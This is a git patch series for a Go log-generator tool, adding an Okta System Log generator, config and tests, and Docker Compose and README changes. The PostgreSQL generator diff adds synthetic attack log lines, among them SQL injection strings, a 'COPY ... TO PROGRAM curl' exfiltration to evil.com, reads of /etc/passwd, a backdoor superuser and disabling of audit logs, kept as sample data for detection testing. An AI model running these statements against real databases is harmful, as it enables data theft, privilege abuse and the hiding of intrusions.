map[string]any{ + "userAgent": map[string]any{ + "rawUserAgent": userAgent, + "os": "Unknown", + "browser": "UNKNOWN", + }, + "zone": "null", + "device": "Unknown", + "ipAddress": generateRandomIP(r), + "geographicalContext": map[string]any{ + "city": location.city, + "state": location.state, + "country": location.country, + "postalCode": fmt.Sprintf("%05d", r.Intn(99999)), // #nosec G404 + "geolocation": map[string]any{ + "lat": location.latitude, + "lon": location.longitude, + }, + }, + }, + "outcome": map[string]any{ + "result": event.outcome, + }, + "target": []map[string]any{ + { + "id": generateUUID(r), + "type": "AppInstance", + "alternateId": app.name, + "displayName": app.label, + }, + }, + "transaction": map[string]any{ + "type": "WEB", + "id": requestID, + "detail": map[string]any{}, + }, + "debugContext": map[string]any{ + "debugData": map[string]any{ + "requestId": requestID, + "requestUri": "/api/v1/authn", + "threatSuspected": fmt.Sprintf("%t", event.severity == "ERROR" || event.severity == "WARN"), + "url": fmt.Sprintf("/api/v1/authn?%s", requestID), + }, + }, + "authenticationContext": map[string]any{ + "authenticationProvider": "OKTA_AUTHENTICATION_PROVIDER", + "credentialProvider": "OKTA_CREDENTIAL_PROVIDER", + "credentialType": "PASSWORD", + "externalSessionId": sessionID, + "interface": "Okta End-User Dashboard", + }, + "securityContext": map[string]any{ + "asNumber": r.Intn(65535), // #nosec G404 + "asOrg": "example-isp", + "isp": "Example ISP", + "domain": "example.com", + "isProxy": r.Float64() < 0.1, // #nosec G404 + }, + "legacyEventType": event.eventType, + } + + // Add reason for failures + if event.outcome == "FAILURE" { + logData["outcome"].(map[string]any)["reason"] = reasons[r.Intn(len(reasons))] // #nosec G404 + } + + jsonBytes, err := jsonlib.Marshal(logData) + if err != nil { + return output.LogRecord{}, fmt.Errorf("marshal Okta log: %w", err) + } + + return output.LogRecord{ + Message: string(jsonBytes), + ParseFunc: func(message string) (map[string]any, error) { + var parsed map[string]any + if err := jsonlib.Unmarshal([]byte(message), &parsed); err != nil { + return nil, fmt.Errorf("unmarshal Okta log: %w", err) + } + return parsed, nil + }, + Metadata: output.LogRecordMetadata{ + Timestamp: now, + Severity: event.severity, + }, + }, nil +} + +func generateUUID(r *rand.Rand) string { + return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", + r.Uint32(), // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint32()&0xFFFF, // #nosec G404 + r.Uint64()&0xFFFFFFFFFFFF) // #nosec G404 +} + +func generateRequestID(r *rand.Rand) string { + const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + b := make([]byte, 20) + for i := range b { + b[i] = charset[r.Intn(len(charset))] // #nosec G404 + } + return string(b) +} + +func generateRandomIP(r *rand.Rand) string { + return fmt.Sprintf("%d.%d.%d.%d", + r.Intn(256), // #nosec G404 + r.Intn(256), // #nosec G404 + r.Intn(256), // #nosec G404 + r.Intn(256)) // #nosec G404 +} + +func (g *Generator) recordWriteError(errorType string, err error) { + g.oktaWriteErrors.Add(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.String("error_type", errorType), + ), + ), + ) + g.logger.Debug("Recorded write error", + zap.String("error_type", errorType), + zap.Error(err), + ) +} diff --git a/generator/postgres/postgres.go b/generator/postgres/postgres.go index 7d33f27..299acd7 100644 --- a/generator/postgres/postgres.go +++ b/generator/postgres/postgres.go @@ -112,6 +112,7 @@ var ( severity string message string }{ + // Normal operations {severityLog, "statement: SELECT * FROM users WHERE id = $1"}, {severityLog, "statement: INSERT INTO orders (user_id, total) VALUES ($1, $2)"}, {severityLog, "statement: UPDATE products SET stock = stock - $1 WHERE id = $2"}, @@ -147,6 +148,62 @@ var ( {severityInfo, "autovacuum launcher shutting down"}, {severityDebug, "checkpoint record is at 0/12345678"}, {severityDebug, "redo record is at 0/12345678; undo record is at 0/0; shutdown TRUE"}, + + // Security: Authentication failures (brute force patterns) + {severityFatal, "password authentication failed for user \"admin\""}, + {severityFatal, "password authentication failed for user \"root\""}, + {severityFatal, "password authentication failed for user \"postgres\""}, + {severityFatal, "password authentication failed for user \"sa\""}, + {severityFatal, "no pg_hba.conf entry for host \"10.0.0.50\", user \"admin\", database \"production\""}, + {severityFatal, "too many connections for role \"app_user\""}, + {severityWarning, "connection rejected: too many connections for database \"production\""}, + {severityError, "authentication failed for user \"backup_admin\": invalid credentials"}, + + // Security: SQL injection attempts + {severityError, "syntax error at or near \"'\" at character 42"}, + {severityLog, "statement: SELECT * FROM users WHERE username = '' OR '1'='1'"}, + {severityLog, "statement: SELECT * FROM users WHERE id = 1; DROP TABLE users;--"}, + {severityLog, "statement: SELECT * FROM accounts WHERE id = 1 UNION SELECT password FROM credentials"}, + {severityLog, "statement: SELECT * FROM products WHERE name = ''; WAITFOR DELAY '00:00:10'--"}, + {severityLog, "statement: SELECT password FROM users WHERE username = 'admin'--"}, + {severityLog, "statement: INSERT INTO users VALUES (1, 'hacker', (SELECT password FROM users WHERE username='admin'))"}, + {severityWarning, "statement execution time exceeded threshold: 30000 ms"}, + + // Security: Privilege escalation attempts + {severityError, "permission denied to create role"}, + {severityError, "must be superuser to alter superuser roles or change superuser attribute"}, + {severityLog, "statement: ALTER ROLE app_user WITH SUPERUSER"}, + {severityLog, "statement: ALTER ROLE readonly_user WITH CREATEROLE CREATEDB"}, + {severityLog, "statement: GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO attacker"}, + {severityLog, "statement: CREATE ROLE backdoor_admin WITH SUPERUSER LOGIN PASSWORD 'hacked123'"}, + {severityError, "permission denied for schema pg_catalog"}, + {severityFatal, "role \"app_user\" is not permitted to log in"}, + + // Security: Data exfiltration patterns + {severityLog, "statement: COPY (SELECT * FROM customers) TO '/tmp/customers_dump.csv'"}, + {severityLog, "statement: COPY users TO PROGRAM 'curl -X POST -d @- http://evil.com/exfil'"}, + {severityLog, "statement: SELECT * FROM credit_cards"}, + {severityLog, "statement: SELECT ssn, dob, full_name FROM pii_data"}, + {severityLog, "statement: pg_dump --table=passwords --data-only production"}, + {severityWarning, "large data transfer detected: 50000 rows returned"}, + {severityLog, "statement: SELECT pg_read_file('/etc/passwd')"}, + {severityLog, "statement: SELECT lo_export(12345, '/tmp/secret.txt')"}, + + // Security: Suspicious administrative actions + {severityLog, "statement: DROP DATABASE production"}, + {severityLog, "statement: TRUNCATE TABLE audit_logs"}, + {severityLog, "statement: DELETE FROM security_events WHERE created_at < NOW()"}, + {severityLog, "statement: ALTER TABLE audit_logs DISABLE TRIGGER ALL"}, + {severityWarning, "parameter \"log_statement\" changed to \"none\""}, + {severityWarning, "parameter \"log_connections\" changed to \"off\""}, + {severityLog, "statement: UPDATE pg_authid SET rolpassword = 'md5' || md5('newpass' || 'postgres')"}, + + // Security: Anomalous access patterns + {severityWarning, "connection from unusual IP range: 185.220.101.0/24 (known Tor exit node)"}, + {severityWarning, "off-hours database access detected from user \"admin\" at 03:24:15 UTC"}, + {severityLog, "connection received: host=192.168.1.100 port=54321 (outside normal subnet)"}, + {severityError, "SSL connection required but client connected without SSL"}, + {severityWarning, "multiple databases accessed in single session: production, staging, backup"}, } ) diff --git a/internal/config/generator.go b/internal/config/generator.go index bbb5854..c37390c 100644 --- a/internal/config/generator.go +++ b/internal/config/generator.go @@ -30,6 +30,8 @@ const ( GeneratorTypeKubernetes GeneratorType = "kubernetes" // GeneratorTypeFile represents File generator GeneratorTypeFile GeneratorType = "filegen" + // GeneratorTypeOkta represents Okta System Log generator + GeneratorTypeOkta GeneratorType = "okta" ) // Generator contains configuration for log generators @@ -56,6 +58,8 @@ type Generator struct { Kubernetes KubernetesGeneratorConfig `yaml:"kubernetes,omitempty" mapstructure:"kubernetes,omitempty"` // Filegen contains File generator configuration Filegen FileGeneratorConfig `yaml:"filegen,omitempty" mapstructure:"filegen,omitempty"` + // Okta contains Okta System Log generator configuration + Okta OktaGeneratorConfig `yaml:"okta,omitempty" mapstructure:"okta,omitempty"` } // Validate validates the generator configuration @@ -108,8 +112,12 @@ func (g *Generator) Validate() error { if err := g.Filegen.Validate(); err != nil { return fmt.Errorf("filegen generator validation failed: %w", err) } + case GeneratorTypeOkta: + if err := g.Okta.Validate(); err != nil { + return fmt.Errorf("okta generator validation failed: %w", err) + } default: - return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen", g.Type) + return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen, okta", g.Type) } return nil diff --git a/internal/config/generator_okta.go b/internal/config/generator_okta.go new file mode 100644 index 0000000..bcfceb0 --- /dev/null +++ b/internal/config/generator_okta.go @@ -0,0 +1,27 @@ +package config + +import ( + "fmt" + "time" +) + +// OktaGeneratorConfig contains configuration for Okta System Log generator +type OktaGeneratorConfig struct { + // Workers is the number of worker goroutines for Okta log generation + Workers int `yaml:"workers,omitempty" mapstructure:"workers,omitempty"` + // Rate is the rate at which logs are generated per worker + Rate time.Duration `yaml:"rate,omitempty" mapstructure:"rate,omitempty"` +} + +// Validate validates the Okta generator configuration +func (c *OktaGeneratorConfig) Validate() error { + if c.Workers < 1 { + return fmt.Errorf("Okta generator workers must be 1 or greater, got %d", c.Workers) + } + + if c.Rate <= 0 { + return fmt.Errorf("Okta generator rate must be positive, got %v", c.Rate) + } + + return nil +} diff --git a/internal/config/override.go b/internal/config/override.go index 1e448df..a0ce529 100644 --- a/internal/config/override.go +++ b/internal/config/override.go @@ -247,7 +247,7 @@ func DefaultOverrides() []*Override { NewOverride("logging.file.rotation.compress", "logging file rotation: compress rotated files", true), NewOverride("logging.file.rotation.localTime", "logging file rotation: use local time for backup timestamps", false), NewOverride("metrics.port", "HTTP port for the metrics endpoint", DefaultMetricsPort), - NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-combined|apache-combined|apache-error|nginx|postgres|kubernetes|filegen", GeneratorTypeNop), + NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-common|apache-combined|apache-error|nginx|postgres|kubernetes|filegen|okta", GeneratorTypeNop), NewOverride("generator.json.workers", "number of JSON generator workers", 1), NewOverride("generator.json.rate", "rate at which logs are generated per worker", 1*time.Second), NewOverride("generator.json.type", "type of log to generate. One of: default|pii", logtypes.LogTypeDefault), @@ -273,6 +273,8 @@ func DefaultOverrides() []*Override { NewOverride("generator.filegen.source", "file path, directory path, or glob pattern (auto-detected)", ""), NewOverride("generator.filegen.cache-enabled", "enable in-memory file caching", true), NewOverride("generator.filegen.cache-ttl", "file cache time-to-live (0 = never expire)", time.Duration(0)), + NewOverride("generator.okta.workers", "number of Okta generator workers", 1), + NewOverride("generator.okta.rate", "rate at which Okta logs are generated per worker", 1*time.Second), NewOverride("output.type", "output type. One of: nop|stdout|tcp|udp|syslog|otlp-grpc|file", OutputTypeNop), NewOverride("output.udp.host", "UDP output target host", ""), NewOverride("output.udp.port", "UDP output target port", 0), diff --git a/internal/config/override_test.go b/internal/config/override_test.go index 83c7869..0aca4cd 100644 --- a/internal/config/override_test.go +++ b/internal/config/override_test.go @@ -49,6 +49,8 @@ func getTestOverrideFlagsArgs() []string { "--generator-filegen-source", "/var/log", "--generator-filegen-cache-enabled=false", "--generator-filegen-cache-ttl", "0", + "--generator-okta-workers", "22", + "--generator-okta-rate", "40ms", "--output-type", "otlp-grpc", "--output-udp-host", "udp.example.com", "--output-udp-port", "1514", @@ -141,6 +143,8 @@ func getTestOverrideEnvs() map[string]string { "BLITZ_GENERATOR_FILEGEN_SOURCE": "syslog_generic", "BLITZ_GENERATOR_FILEGEN_CACHE_ENABLED": "false", "BLITZ_GENERATOR_FILEGEN_CACHE_TTL": "0", + "BLITZ_GENERATOR_OKTA_WORKERS": "23", + "BLITZ_GENERATOR_OKTA_RATE": "35ms", "BLITZ_OUTPUT_TYPE": "file", "BLITZ_OUTPUT_UDP_HOST": "udp.env.example", "BLITZ_OUTPUT_UDP_PORT": "5514", @@ -273,6 +277,10 @@ func TestOverrideDefaults(t *testing.T) { CacheEnabled: true, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 1, + Rate: 1 * time.Second, + }, }, Output: Output{ Type: OutputTypeNop, @@ -426,6 +434,10 @@ func TestOverrideFlags(t *testing.T) { CacheEnabled: false, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 22, + Rate: 40 * time.Millisecond, + }, }, Output: Output{ Type: OutputTypeOTLPGrpc, @@ -582,6 +594,10 @@ func TestOverrideEnvs(t *testing.T) { CacheEnabled: false, CacheTTL: 0, }, + Okta: OktaGeneratorConfig{ + Workers: 23, + Rate: 35 * time.Millisecond, + }, }, Output: Output{ Type: OutputTypeFile, diff --git a/internal/generator/logtypes/pii.go b/internal/generator/logtypes/pii.go index 2b94679..8a93d25 100644 --- a/internal/generator/logtypes/pii.go +++ b/internal/generator/logtypes/pii.go @@ -346,7 +346,7 @@ func generatePasswordHash(r *rand.Rand) string { // generateAPIKey generates a random API key func generateAPIKey(r *rand.Rand) string { - prefixes := []string{"api_key_", "secret_", "token_", "key_", "apikey_"} + prefixes := []string{"apikey_", "token_", "key_", "api_", "access_key_"} prefix := prefixes[r.Intn(len(prefixes))] chars := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" key := prefix From 8a8a00c7da31d98cfa2a0e3a16ea07fae7dc2494 Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Tue, 3 Feb 2026 14:10:15 -0500 Subject: [PATCH 2/6] increase apache logs --- docker/docker-compose.web-db-stage.yml | 2 +- docker/docker-compose.web-db.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/docker-compose.web-db-stage.yml b/docker/docker-compose.web-db-stage.yml index ffe0dd3..4a18547 100644 --- a/docker/docker-compose.web-db-stage.yml +++ b/docker/docker-compose.web-db-stage.yml @@ -42,7 +42,7 @@ services: <<: *blitz-common environment: BLITZ_GENERATOR_TYPE: apache-common - BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-10} + BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-20} BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} BLITZ_OUTPUT_TYPE: tcp BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage diff --git a/docker/docker-compose.web-db.yml b/docker/docker-compose.web-db.yml index cf87754..4ea40d4 100644 --- a/docker/docker-compose.web-db.yml +++ b/docker/docker-compose.web-db.yml @@ -42,7 +42,7 @@ services: <<: *blitz-common environment: BLITZ_GENERATOR_TYPE: apache-common - BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-10} + BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-20} BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} BLITZ_OUTPUT_TYPE: tcp BLITZ_OUTPUT_TCP_HOST: collector-web-db From e38d46ea4fa6322b530e68b3658ccc12a23216e1 Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Tue, 3 Feb 2026 15:49:48 -0500 Subject: [PATCH 3/6] make containers stateful --- docker/docker-compose.json-pii-stage.yml | 6 ++++++ docker/docker-compose.json-pii.yml | 6 ++++++ docker/docker-compose.okta-stage.yml | 6 ++++++ docker/docker-compose.okta.yml | 6 ++++++ docker/docker-compose.web-db-stage.yml | 6 ++++++ docker/docker-compose.web-db.yml | 6 ++++++ 6 files changed, 36 insertions(+) diff --git a/docker/docker-compose.json-pii-stage.yml b/docker/docker-compose.json-pii-stage.yml index 944016e..e78c903 100644 --- a/docker/docker-compose.json-pii-stage.yml +++ b/docker/docker-compose.json-pii-stage.yml @@ -32,8 +32,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} OPAMP_AGENT_NAME: blitz-json-pii-collector-stage OPAMP_LABELS: "env=stage,pipeline=json-pii" + OPAMP_CONFIG: ${OPAMP_CONFIG_JSON_PII_STAGE:-blitz-json-pii} ports: - "5170:5170" + volumes: + - collector-json-pii-stage-data:/etc/otel networks: - json-pii-stage-net @@ -63,3 +66,6 @@ services: networks: json-pii-stage-net: driver: bridge + +volumes: + collector-json-pii-stage-data: diff --git a/docker/docker-compose.json-pii.yml b/docker/docker-compose.json-pii.yml index 60ba223..169f391 100644 --- a/docker/docker-compose.json-pii.yml +++ b/docker/docker-compose.json-pii.yml @@ -32,8 +32,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} OPAMP_AGENT_NAME: blitz-json-pii-collector OPAMP_LABELS: "env=production,pipeline=json-pii" + OPAMP_CONFIG: ${OPAMP_CONFIG_JSON_PII:-blitz-json-pii} ports: - "5160:5160" + volumes: + - collector-json-pii-data:/etc/otel networks: - json-pii-net @@ -63,3 +66,6 @@ services: networks: json-pii-net: driver: bridge + +volumes: + collector-json-pii-data: diff --git a/docker/docker-compose.okta-stage.yml b/docker/docker-compose.okta-stage.yml index e202321..f21881e 100644 --- a/docker/docker-compose.okta-stage.yml +++ b/docker/docker-compose.okta-stage.yml @@ -19,8 +19,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} OPAMP_AGENT_NAME: blitz-okta-collector-stage OPAMP_LABELS: "env=stage,pipeline=okta" + OPAMP_CONFIG: ${OPAMP_CONFIG_OKTA_STAGE:-blitz-okta} ports: - "5190:5190" + volumes: + - collector-okta-stage-data:/etc/otel networks: - okta-stage-net @@ -44,3 +47,6 @@ services: networks: okta-stage-net: driver: bridge + +volumes: + collector-okta-stage-data: diff --git a/docker/docker-compose.okta.yml b/docker/docker-compose.okta.yml index 4fa777b..a478a29 100644 --- a/docker/docker-compose.okta.yml +++ b/docker/docker-compose.okta.yml @@ -19,8 +19,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} OPAMP_AGENT_NAME: blitz-okta-collector OPAMP_LABELS: "env=production,pipeline=okta" + OPAMP_CONFIG: ${OPAMP_CONFIG_OKTA:-blitz-okta} ports: - "5180:5180" + volumes: + - collector-okta-data:/etc/otel networks: - okta-net @@ -44,3 +47,6 @@ services: networks: okta-net: driver: bridge + +volumes: + collector-okta-data: diff --git a/docker/docker-compose.web-db-stage.yml b/docker/docker-compose.web-db-stage.yml index 4a18547..d63f69a 100644 --- a/docker/docker-compose.web-db-stage.yml +++ b/docker/docker-compose.web-db-stage.yml @@ -32,8 +32,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} OPAMP_AGENT_NAME: blitz-web-db-collector-stage OPAMP_LABELS: "env=stage,pipeline=web-db" + OPAMP_CONFIG: ${OPAMP_CONFIG_WEB_DB_STAGE:-blitz-web-db} ports: - "5150:5150" + volumes: + - collector-web-db-stage-data:/etc/otel networks: - web-db-stage-net @@ -73,3 +76,6 @@ services: networks: web-db-stage-net: driver: bridge + +volumes: + collector-web-db-stage-data: diff --git a/docker/docker-compose.web-db.yml b/docker/docker-compose.web-db.yml index 4ea40d4..b5b6675 100644 --- a/docker/docker-compose.web-db.yml +++ b/docker/docker-compose.web-db.yml @@ -32,8 +32,11 @@ services: OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} OPAMP_AGENT_NAME: blitz-web-db-collector OPAMP_LABELS: "env=production,pipeline=web-db" + OPAMP_CONFIG: ${OPAMP_CONFIG_WEB_DB:-blitz-web-db} ports: - "5140:5140" + volumes: + - collector-web-db-data:/etc/otel networks: - web-db-net @@ -73,3 +76,6 @@ services: networks: web-db-net: driver: bridge + +volumes: + collector-web-db-data: From 8524d279812398674ae578eab97b0aec11d8da58 Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Thu, 12 Feb 2026 12:55:10 -0500 Subject: [PATCH 4/6] add and iterate on new log generators, organization and robust docker compose setup --- docker/README.md | 194 +++++----- docker/docker-compose.json-pii-stage.yml | 71 ---- docker/docker-compose.json-pii.yml | 71 ---- docker/docker-compose.okta-stage.yml | 52 --- docker/docker-compose.okta.yml | 52 --- docker/docker-compose.telemetry-generator.yml | 178 +++++++++ docker/docker-compose.web-db-stage.yml | 81 ---- docker/docker-compose.web-db.yml | 81 ---- docs/generator/okta.md | 54 +++ generator/apache/apache.go | 79 +--- generator/json/json.go | 4 + generator/nginx/nginx.go | 92 +---- generator/okta/okta.go | 16 +- generator/okta/okta_test.go | 349 ++++++++++++++++++ internal/generator/logtypes/pii.go | 2 +- internal/generator/security/paths.go | 99 +++++ 16 files changed, 791 insertions(+), 684 deletions(-) delete mode 100644 docker/docker-compose.json-pii-stage.yml delete mode 100644 docker/docker-compose.json-pii.yml delete mode 100644 docker/docker-compose.okta-stage.yml delete mode 100644 docker/docker-compose.okta.yml create mode 100644 docker/docker-compose.telemetry-generator.yml delete mode 100644 docker/docker-compose.web-db-stage.yml delete mode 100644 docker/docker-compose.web-db.yml create mode 100644 docs/generator/okta.md create mode 100644 generator/okta/okta_test.go create mode 100644 internal/generator/security/paths.go diff --git a/docker/README.md b/docker/README.md index 430ca9d..96e9fac 100644 --- a/docker/README.md +++ b/docker/README.md @@ -1,133 +1,125 @@ -# Blitz Docker Compose +# Telemetry Generator -Docker Compose configurations for running Blitz log generators with Bindplane collectors. +A Docker Compose setup that runs all Blitz log generators simultaneously and sends telemetry to an OpAMP-managed collector via OTLP. -## Pipelines +## Architecture -Three separate pipelines are available, each with production and stage variants: +``` +┌─────────────────┐ +│ blitz-json │──┐ +├─────────────────┤ │ +│ blitz-pii │──┤ (37 PII types) +├─────────────────┤ │ +│ blitz-winevt │──┤ +├─────────────────┤ │ +│ blitz-palo-alto │──┤ +├─────────────────┤ │ ┌──────────────────┐ ┌─────────────────┐ +│ blitz-apache-* │──┼───►│ BDOT Collector │───►│ OpAMP Server │ +├─────────────────┤ │ │ (OTLP receiver) │ │ │ +│ blitz-nginx │──┤ └──────────────────┘ └─────────────────┘ +├─────────────────┤ │ +│ blitz-postgres │──┤ +├─────────────────┤ │ +│ blitz-kubernetes│──┤ +├─────────────────┤ │ +│ blitz-okta │──┘ +└─────────────────┘ +``` -| Pipeline | Generators | Workers | Prod Port | Stage Port | -|----------|-----------|---------|-----------|------------| -| **web-db** | Apache, PostgreSQL, Kubernetes | Apache: 10x, Others: 1x | 5140 | 5150 | -| **json-pii** | JSON, PII | JSON: 1x, PII: 15x | 5160 | 5170 | -| **okta** | Okta | 1x | 5180 | 5190 | +## Prerequisites -## Quick Start +- Docker and Docker Compose +- An OpAMP-compatible management platform (e.g., Bindplane) +- OpAMP endpoint and secret key -### Production +## Quick Start ```bash -# Web & DB logs (Apache 10x, PostgreSQL, Kubernetes) -OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ +# From the blitz repo root directory +OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.web-db.yml -p web-db up -d +docker compose -f docker/docker-compose.telemetry-generator.yml up +``` -# JSON & PII logs (PII 15x) -OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.json-pii.yml -p json-pii up -d +## Configuration + +### Required Environment Variables + +| Variable | Description | Example | +|----------|-------------|---------| +| `OPAMP_ENDPOINT` | OpAMP WebSocket endpoint | `wss://your-opamp-server.com/v1/opamp` | +| `OPAMP_SECRET_KEY` | OpAMP secret key for authentication | `your-secret-key` | -# Okta logs -OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ +### Optional Environment Variables + +| Variable | Default | Description | +|----------|---------|-------------| +| `BLITZ_RATE` | `1s` | Log generation rate per generator | +| `BLITZ_WORKERS` | `1` | Number of workers per generator | +| `BLITZ_PII_WORKERS` | `1` | Number of workers for PII generator | + +### Examples + +**Increase log generation rate:** +```bash +OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.okta.yml -p okta up -d +BLITZ_RATE=100ms \ +docker compose -f docker/docker-compose.telemetry-generator.yml up ``` -### Stage +**Run with more workers:** +```bash +OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_SECRET_KEY=your-secret-key \ +BLITZ_WORKERS=3 \ +docker compose -f docker/docker-compose.telemetry-generator.yml up +``` +**Run in background:** ```bash -# Web & DB logs -OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY_STAGE=your-secret-key \ -docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up -d - -# JSON & PII logs -OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY_STAGE=your-secret-key \ -docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up -d - -# Okta logs -OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY_STAGE=your-secret-key \ -docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up -d +OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_SECRET_KEY=your-secret-key \ +docker compose -f docker/docker-compose.telemetry-generator.yml up -d ``` -### Run All Pipelines +## Included Generators -```bash -# Production - all three pipelines -export OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp -export OPAMP_SECRET_KEY=your-secret-key +| Generator | Log Type | Description | +|-----------|----------|-------------| +| `blitz-json` | JSON | Structured JSON logs | +| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) | +| `blitz-winevt` | Windows Event | Windows Event logs in XML format | +| `blitz-palo-alto` | Palo Alto | Firewall syslog entries | +| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) with security attack patterns | +| `blitz-apache-combined` | Apache Combined | Apache Combined Log Format with referer/user-agent | +| `blitz-apache-error` | Apache Error | Apache error log format | +| `blitz-nginx` | NGINX | NGINX Combined Log Format with security attack patterns | +| `blitz-postgres` | PostgreSQL | PostgreSQL database logs with security events | +| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format with security events | +| `blitz-okta` | Okta | Okta System Log events (authentication, security, lifecycle) | -docker compose -f docker/docker-compose.web-db.yml -p web-db up -d -docker compose -f docker/docker-compose.json-pii.yml -p json-pii up -d -docker compose -f docker/docker-compose.okta.yml -p okta up -d +## Running Individual Generators -# Stage - all three pipelines -export OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp -export OPAMP_SECRET_KEY_STAGE=your-secret-key +To run only specific generators: -docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up -d -docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up -d -docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up -d +```bash +OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +OPAMP_SECRET_KEY=your-secret-key \ +docker compose -f docker/docker-compose.telemetry-generator.yml up bdot-collector blitz-json blitz-nginx ``` ## Stopping ```bash -# Production -docker compose -f docker/docker-compose.web-db.yml -p web-db down -docker compose -f docker/docker-compose.json-pii.yml -p json-pii down -docker compose -f docker/docker-compose.okta.yml -p okta down - -# Stage -docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage down -docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage down -docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage down +docker compose -f docker/docker-compose.telemetry-generator.yml down ``` -## Environment Variables - -### Required - -| Variable | Description | -|----------|-------------| -| `OPAMP_ENDPOINT` | Production Bindplane OpAMP endpoint | -| `OPAMP_SECRET_KEY` | Production Bindplane secret key | -| `OPAMP_ENDPOINT_STAGE` | Stage Bindplane OpAMP endpoint | -| `OPAMP_SECRET_KEY_STAGE` | Stage Bindplane secret key | - -### Optional - -| Variable | Default | Description | -|----------|---------|-------------| -| `BLITZ_RATE` | `1s` | Log generation rate | -| `BLITZ_WORKERS` | `1` | Default workers for most generators | -| `BLITZ_APACHE_WORKERS` | `10` | Apache generator workers | -| `BLITZ_PII_WORKERS` | `15` | PII generator workers | -| `BLITZ_OKTA_WORKERS` | `1` | Okta generator workers | - -## TCP Ports - -| Port | Pipeline | Environment | -|------|----------|-------------| -| 5140 | web-db | Production | -| 5150 | web-db | Stage | -| 5160 | json-pii | Production | -| 5170 | json-pii | Stage | -| 5180 | okta | Production | -| 5190 | okta | Stage | - ## Files | File | Description | |------|-------------| -| `docker-compose.web-db.yml` | Apache/PostgreSQL/Kubernetes (prod) | -| `docker-compose.web-db-stage.yml` | Apache/PostgreSQL/Kubernetes (stage) | -| `docker-compose.json-pii.yml` | JSON/PII logs (prod) | -| `docker-compose.json-pii-stage.yml` | JSON/PII logs (stage) | -| `docker-compose.okta.yml` | Okta logs (prod) | -| `docker-compose.okta-stage.yml` | Okta logs (stage) | +| `docker-compose.telemetry-generator.yml` | Docker Compose configuration | ## Building Local Image @@ -140,6 +132,10 @@ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o package/blitz ./cmd/blitz # Build the Docker image docker build -t blitz:local -f package/Dockerfile package/ -# Update compose files to use local image -sed -i 